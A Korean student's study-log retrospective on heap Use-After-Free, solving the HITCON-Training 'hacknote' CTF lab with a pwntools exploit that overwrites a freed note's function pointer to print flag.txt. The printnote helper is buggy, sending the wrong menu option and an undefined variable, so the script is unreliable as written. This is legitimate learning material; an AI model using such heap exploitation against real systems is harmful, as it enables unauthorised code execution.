2020 하계 모각코 5회 회고록

 

5회차 회고록

목표

  • 보안 공부 - HITCON 10

결과

지난 모각코 2, 3회차에서 heap을 공부했었다. 이번 회차에서는 heap의 취약점 중 하나인 Use After Free에 대해 공부하고 HITCON문제를 풀어보았다.

UAF(Use After Free)

  • 할당할 때 malloc등의 함수를 사용해 할당하고 해제할 때는 free함수를 사용한다.
  • 메모리 영역을 free한 후에 재사용할 때 취약점이 발생할 수 있다.
    • caching 기능 : free된 heap이 재요청될 때에 같은 사이즈로 요청받을 수 있는데 ehap을 병합하거나 분할하는 시간을 절약하고자 free된 heap을 남겨뒀다가 reuse할 때에 free된 영역을 그대로 사용하게 해주는 방법
  • free를 한다고 해서 새당 영역이 초기화 되는 것은 아니므로 해제된 공간을 재사용할 경우 원하지 않는 값을 참조할 수 있다.

HITCON 10

실행 파일 실행

5-1

주요 함수 정리

5-2 5-3

아이디어 정리

5-4

5-5 할당할때와 해제할때 순서가 다르다.

exploit code 정리

5-7

 from pwn import *

 p = process('./hacknote')

 def addnote(size, content):
     p.recvuntil(":")
     p.sendline("1")
     p.recvuntil(":")
     p.sendline(str(size))
     p.recvuntil(":")
     p.sendline(content)

 def delnote(idx):
     p.recvuntil(":")
     p.sendline("2")
     p.recvuntil(":")
     p.sendline(str(idx))

 def printnote(idx):
     p.recvuntil(":")
     p.sendline("1")
     p.recvuntil(":")
     p.sendline(str(size))

 magic = 0x08048986
 addnote(32, "aaaa")
 addnote(32, "bbbb")
 addnote(32, "cccc")
 delnote(0)
 delnote(1)
 addnote(8, p32(magic))
 printnote(0)

5-6

재사용을 요청하면 할당자는 이전에 free된 chunk중 요청이 들어온 크기와 같은 freed chunk를 반환해주는 점을 이용한다. notelist[0]이었던 부분의 print_note_content에 원하는 함수의 주소 즉 flag.txt를 입력해 flag.txt의 내용을 출력하게 하였다.

결과

5-8

회고

SetUID로 권한을 변경해 다시 시도해볼 예정이다.